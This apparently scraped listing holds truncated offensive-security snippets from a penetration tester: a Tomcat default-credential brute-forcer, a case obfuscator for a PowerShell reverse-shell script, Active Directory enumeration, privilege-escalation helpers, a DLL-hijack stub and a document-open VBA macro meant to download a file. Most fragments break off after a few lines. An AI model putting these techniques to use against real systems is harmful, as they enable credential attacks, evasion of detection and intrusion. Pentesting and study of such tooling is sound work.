egre55

# author: @egre55
# script to automate the testing of common apache tomcat credentials

#!/usr/bin/env python 

import sys
import requests

with open('tomcat-betterdefaultpasslist.txt') as f:
	for line in f:

egre55

# simple case obfuscator
# author: @egre55
# usage: ./simple_case_obfuscator.sh Invoke-PowerShellTcp.ps1

if [ "$1" == "" ]; then
  printf "\nusage: ./simple_case_obfuscator.sh Invoke-PowerShellTcp.ps1\n\n"
  exit 0
fi

file=$1

egre55

# author: @egre55

[CmdletBinding()]
param(
  [Parameter(Mandatory=$True)][string]$logfile
)

$host.UI.RawUI.BufferSize = new-object System.Management.Automation.Host.Size(600,20000)

while($true)

egre55

<#

Script will enumerate:

    PowerShell Language Mode
    Current user details
    Current privileges
    Domain and Forest functional levels
    AD user information
    AD computer information

egre55

@echo off

REM Script to find writable locations under C:\

C:
cd C:\TEMP\

echo Creating list of all directories and sub-directories

dir C:\ /s /b /o:n /a:d > C:\Temp\dirs.txt

egre55

# Simple PowerShell process monitor

while($true)
{

  $process = Get-WmiObject Win32_Process | Select-Object CommandLine
  Start-Sleep 1
  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Compare-Object -ReferenceObject $process -DifferenceObject $process2

egre55

REM Ugly file-based process monitor script. Non-PowerShell in case blocked

@echo off

:loop

del file1.txt 2> nul
del file2.txt 2> nul

for /f "usebackq skip=1 tokens=* delims= " %%i in (`wmic path win32_process get commandline ^| findstr /r /v "[^\ ]"`) do echo %%i >> file1.txt

egre55

/* 
  cl.exe /LD calc.c
  rundll32 shell32.dll,Control_RunDLL C:\Users\%username%\Desktop\calc.dll
  calc.c by @HollyGraceful
  https://www.gracefulsecurity.com/privesc-dll-hijacking/
*/

#include <windows.h>
int fireLazor()
{

egre55

' based on
' https://stackoverflow.com/questions/17877389/how-do-i-download-a-file-using-vba-without-internet-explorer
'
' PowerShdll.dll by @p3nt4
' https://github.com/p3nt4/PowerShdll
'
' rundll32 is a good candidate as blocking this abuse binary impacts certain Windows functionality - RDP/Office right-click
' shortcuts, and "run-as" a non-privileged user (perhaps a functionality edge-case)

Sub Document_Open()

egre55

## locations writable by non-admin users in Windows (Windows 10)

# default folders

C:\$Recycle.Bin\<USER SID> (whoami /user)
C:\Users\All Users (links to C:\ProgramData)
C:\PerfLogs
C:\ProgramData
C:\Windows\Tasks 
C:\Windows\tracing